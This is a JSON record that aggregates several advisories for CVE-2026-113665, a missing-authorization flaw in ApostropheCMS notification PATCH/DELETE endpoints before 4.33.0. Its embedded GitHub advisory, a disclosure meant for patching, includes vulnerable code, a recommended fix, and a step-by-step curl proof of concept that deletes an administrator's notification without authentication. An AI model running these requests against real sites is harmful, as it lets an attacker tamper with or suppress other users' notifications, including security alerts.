{"id":"GHSA-vwwx-px9w-crrc","revision":null,"records":[{"revision":"f4e4a416175b4ad3ab5e116764229a67","observedAt":"2026-10-28T15:46:50.301+00:00","statement":{"source":"cve-program","id":"CVE-2026-113665","aliases":[],"title":"ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification. This issue is fixed in version 4.33.0.","state":0,"publishedAt":"2026-10-20T17:19:56.123+00:00","modifiedAt":"2026-10-28T13:57:53.391+00:00","affected":[{"ecosystem":"Vendor product","name":"apostrophe","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"apostrophecms\",\n                    \"product\": \"apostrophe\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 4.33.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","score":3.7,"severity":"LOW"}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vwwx-px9w-crrc","https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-113665","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-113665","identifiers":["CVE-2026-113665"]},"retained":false,"historicalAffected":[]},{"revision":"3fa572f603f7449b8013c85c8bcdce98","observedAt":"2026-10-30T01:57:45.186+00:00","statement":{"source":"euvd","id":"EUVD-2026-105213","aliases":["CVE-2026-113665","GHSA-vwwx-px9w-crrc"],"title":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that…","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification. This issue is fixed in version 4.33.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","score":3.7,"severity":null}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vwwx-px9w-crrc","https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-105213","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 20, 2026, 5:19:56 PM","dateUpdated":"Oct 28, 2026, 1:57:53 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-105213","identifiers":["EUVD-2026-105213","CVE-2026-113665","GHSA-vwwx-px9w-crrc"]},"retained":false,"historicalAffected":[]},{"revision":"0f4a4ee96475448a9b9ba9622bba894b","observedAt":"2026-10-29T06:48:04.607+00:00","statement":{"source":"nvd","id":"CVE-2026-113665","aliases":[],"title":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that…","description":"ApostropheCMS is an open-source Node.js content management system. Prior to 4.33.0, the notification module exposes PATCH and DELETE REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification. As a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification. This issue is fixed in version 4.33.0.","state":0,"publishedAt":"2026-10-20T18:17:19.993+00:00","modifiedAt":"2026-10-28T14:16:56.973+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","score":3.7,"severity":"LOW"}],"references":["https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0","https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vwwx-px9w-crrc"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113665","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-639","CWE-862"],"productCriteria":[],"sourceDates":{"published":"2026-10-20T18:17:19.993","lastModified":"2026-10-28T14:16:56.973"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-113665","identifiers":["CVE-2026-113665"]},"retained":false,"historicalAffected":[]},{"revision":"d625b0843e35485b83fcbe3f8396f601","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-vwwx-px9w-crrc","aliases":["CVE-2026-113665"],"title":"ApostropheCMS: Missing Authorization on Notification PATCH/DELETE Endpoints","description":"## Summary\n\nThe notification module exposes `PATCH` and `DELETE` REST endpoints that perform operations directly on the underlying MongoDB collection without verifying that the requester is authenticated or owns the target notification.\n\nAs a result, an unauthenticated attacker who obtains a valid notification ID can modify or permanently delete another user's notification.\n\n---\n\n## Affected Code\n\n**File**\n\n```text\npackages/apostrophe/modules/@apostrophecms/notification/index.js\n```\n\n```javascript\n// restApiRoutes\nasync patch(req, _id) {\n  const dismissed = self.apos.launder.boolean(req.body.dismissed);\n\n  if (dismissed) {\n    await self.emit('beforeSave', req, { _id, dismissed });\n\n    await self.db.updateOne(\n      { _id },\n      {\n        $set: { dismissed },\n        $currentDate: { updatedAt: true }\n      }\n    );\n  }\n},\n\nasync delete(req, _id) {\n  await self.db.deleteMany({ _id });\n}\n```\n\nUnlike the `GET` notification route, these handlers do **not** verify:\n\n- Authentication (`req.user`)\n- Ownership (`userId === req.user._id`)\n- Authorization or permissions\n\nInstead, the supplied `_id` is used directly against the raw MongoDB collection.\n\n---\n\n## Root Cause\n\nThe notification REST endpoints perform database operations directly using `self.db` without enforcing authentication or authorization.\n\nWhile the framework provides permission primitives (`req.user`, ownership checks, and `apos.permission`), these endpoints never invoke them. As a result, any request reaching these handlers is processed solely based on the supplied notification ID.\n\nFor comparison, the `GET` notification route correctly checks:\n\n```javascript\nif (!(req.user && req.user._id)) {\n  throw self.apos.error('invalid');\n}\n```\n\nNo equivalent validation exists in the `PATCH` or `DELETE` handlers.\n\n---\n\n## Proof of Concept\n\n### 1. Log in as an administrator\n\n```bash\ncurl -sS -c admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/login/context\" \\\n-o /dev/null\n\ncurl -sS \\\n-b admin_cookies.txt \\\n-c admin_cookies.txt \\\n-X POST \\\nhttp://localhost:4321/api/v1/@apostrophecms/login/login \\\n-H \"Content-Type: application/json\" \\\n-H \"X-XSRF-TOKEN: csrf\" \\\n-d '{\n  \"username\":\"admin\",\n  \"password\":\"AdminP@ssw0rd123!\",\n  \"session\":true\n}'\n```\n\n---\n\n### 2. Create a notification\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n-X POST \\\nhttp://localhost:4321/api/v1/@apostrophecms/notification \\\n-H \"Content-Type: application/json\" \\\n-H \"X-XSRF-TOKEN: csrf\" \\\n-d '{\n  \"message\":\"manual verify test\",\n  \"type\":\"info\"\n}'\n```\n\nExample response:\n\n```json\n{\n  \"noteId\":\"p358r7phi2w8l245ww5130uf\"\n}\n```\n\n---\n\n### 3. Verify the notification exists\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\"\n```\n\nResponse:\n\n```json\n{\n  \"notifications\":[\n    {\n      \"_id\":\"p358r7phi2w8l245ww5130uf\",\n      \"userId\":\"i89h844o5n3nbreis0ugusum\",\n      \"message\":\"manual verify test\"\n    }\n  ],\n  \"dismissed\":[]\n}\n```\n\n---\n\n### 4. Access the endpoint without authentication\n\nCreate a fresh cookie jar containing only the public CSRF cookie:\n\n```bash\nrm -f anon_cookies.txt\n\ncurl -sS \\\n-c anon_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/login/context\" \\\n-o /dev/null\n```\n\nThen send the request **without any authenticated session**:\n\n```bash\ncurl -i \\\n-b anon_cookies.txt \\\n-X DELETE \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\" \\\n-H \"X-XSRF-TOKEN: csrf\"\n```\n\nResponse:\n\n```http\nHTTP/1.1 200 OK\n```\n\n---\n\n### 5. Verify the notification has been deleted\n\n```bash\ncurl -sS \\\n-b admin_cookies.txt \\\n\"http://localhost:4321/api/v1/@apostrophecms/notification/p358r7phi2w8l245ww5130uf\"\n```\n\nResponse:\n\n```json\n{\n  \"notifications\":[],\n  \"dismissed\":[]\n}\n```\n\nThe notification belonging to the authenticated administrator has been successfully deleted by an unauthenticated client.\n\n---\n\n## Impact\n\nAn attacker who obtains a valid notification ID can:\n\n- Delete another user's notifications.\n- Mark another user's notifications as dismissed.\n- Suppress security-related or administrative notifications.\n\nThe vulnerability primarily affects **integrity**.\n\nAlthough notification IDs are generated using CUID2 and are not practically guessable, authorization must not rely on identifier entropy. Any separate information disclosure vulnerability or log exposure that reveals notification IDs would make this issue directly exploitable.\n\n---\n\n## Recommended Fix\n\nRequire authentication before processing any modification request.\n\nAdditionally, scope all database operations to the authenticated user.\n\nExample:\n\n```javascript\n// patch\nasync patch(req, _id) {\n  if (!req.user) {\n    throw self.apos.error('forbidden');\n  }\n  const dismissed = self.apos.launder.boolean(req.body.dismissed);\n  if (dismissed) {\n    await self.emit('beforeSave', req, { _id, dismissed });\n    const result = await self.db.updateOne(\n      { _id, userId: req.user._id },   // <-- ownership check\n      { $set: { dismissed }, $currentDate: { updatedAt: true } }\n    );\n    if (!result.matchedCount) {\n      throw self.apos.error('notfound');\n    }\n  }\n},\n// delete\nasync delete(req, _id) {\n  if (!req.user) {\n    throw self.apos.error('forbidden');\n  }\n  const result = await self.db.deleteMany({ _id, userId: req.user._id });\n  if (!result.deletedCount) {\n    throw self.apos.error('notfound');\n  }\n}\n```\n\nSimilarly, update the `PATCH` handler to verify both authentication and ownership before updating notification records.\n\n---\n\n## Recommendation\n\nEvery notification modification endpoint should:\n\n- Require authentication.\n- Verify ownership (`userId === req.user._id`).\n- Return `403 Forbidden` for unauthorized requests.\n- Avoid performing database operations solely using a user-controlled `_id`.\n\nThe same authorization checks should also be applied to any internal helper methods (such as `dismiss()`) that modify notification state.","state":0,"publishedAt":"2026-10-20T18:25:38+00:00","modifiedAt":"2026-10-20T18:45:09.4770608+00:00","affected":[{"ecosystem":"npm","name":"apostrophe","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.33.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"LOW"}],"references":["https://github.com/apostrophecms/apostrophe/security/advisories/GHSA-vwwx-px9w-crrc","https://github.com/apostrophecms/apostrophe/commit/9500b8b0e1d630d5e07fbb5fd2c25ed0943845ce","https://github.com/apostrophecms/apostrophe/commit/f84fd41cbf6c22eb8d0008fc9c25df1f7130b350","https://github.com/apostrophecms/apostrophe","https://github.com/apostrophecms/apostrophe/releases/tag/apostrophe@4.33.0"],"sourceUrl":"https://github.com/advisories/GHSA-vwwx-px9w-crrc","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-vwwx-px9w-crrc","identifiers":["GHSA-vwwx-px9w-crrc","CVE-2026-113665"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-10-31T07:57:38.5116842+00:00","complete":true,"records":1766,"lastAttemptAt":"2026-10-31T07:57:38.5116842+00:00","lastSuccessAt":"2026-10-31T07:57:38.6739729+00:00","error":null,"lastVerifiedAt":"2026-10-31T07:57:38.6739739+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-9266d7b009bf9c4a0ccdcb5cbdea7f905cb3c4d92fd3b41581ece16b2cfdc4e7-96726b0429e12f7420216866e04292e25250b20c8e6290ae6ff1799519d62cd3","complete":true,"records":417534,"lastAttemptAt":"2026-10-31T07:57:37.9765891+00:00","lastSuccessAt":"2026-10-31T07:57:37.9373669+00:00","error":null,"lastVerifiedAt":"2026-10-31T07:57:37.9765891+00:00","snapshotPublishedAt":"2026-10-31T07:26:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c5eb069e059248ab9c1b8cc754ce0885","complete":true,"records":13565,"lastAttemptAt":"2026-10-31T07:59:26.0749145+00:00","lastSuccessAt":"2026-10-31T03:47:38.206+00:00","error":null,"lastVerifiedAt":"2026-10-31T03:47:38.206+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13637,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-10-31T07:57:38.5116842+00:00","complete":true,"records":1094,"lastAttemptAt":"2026-10-31T07:57:38.5116842+00:00","lastSuccessAt":"2026-10-31T07:57:38.6750663+00:00","error":null,"lastVerifiedAt":"2026-10-31T07:57:38.6750666+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-ea58f9c685fb45208f84e40f4ddb9154","complete":false,"records":13577,"lastAttemptAt":"2026-10-31T07:59:25.4673363+00:00","lastSuccessAt":"2026-10-31T07:59:25.464+00:00","error":null,"lastVerifiedAt":"2026-10-31T07:59:25.464+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13547,"expectedIdentifiers":13637,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-21dcd6662970dfea02e4ea60ee637115e8d92664947484d2b9276b3f6568a84f","complete":true,"records":9815,"lastAttemptAt":"2026-10-31T07:57:38.3405761+00:00","lastSuccessAt":"2026-10-30T23:47:34.1817587+00:00","error":null,"lastVerifiedAt":"2026-10-31T07:57:38.3405761+00:00","snapshotPublishedAt":"2026-10-30T23:33:17+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-2de9ccc5290f060c7aa63f89c25dd76f655a64ba1aba7c05c97fa3bee4f09899","complete":true,"records":1967,"lastAttemptAt":"2026-10-31T07:57:38.1313492+00:00","lastSuccessAt":"2026-10-28T20:55:34.2982937+00:00","error":null,"lastVerifiedAt":"2026-10-31T07:57:38.1313492+00:00","snapshotPublishedAt":"2026-10-28T20:03:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-f95f76cd406ae5bae3de632ad37fd2d5160b44f5e6b51748ac6f8f0c0c88e72b","complete":true,"records":3028,"lastAttemptAt":"2026-10-31T07:57:38.4524705+00:00","lastSuccessAt":"2026-10-30T23:47:38.4914494+00:00","error":null,"lastVerifiedAt":"2026-10-31T07:57:38.4524705+00:00","snapshotPublishedAt":"2026-10-30T23:18:12+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-3ce2e3336768d0abd5b020f6f12bd5502a5deb02700e9d89d279597dce6e72ae","complete":true,"records":230992,"lastAttemptAt":"2026-10-31T07:57:38.240628+00:00","lastSuccessAt":"2026-10-31T03:47:08.0119269+00:00","error":null,"lastVerifiedAt":"2026-10-31T07:57:38.240628+00:00","snapshotPublishedAt":"2026-10-31T03:03:11+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}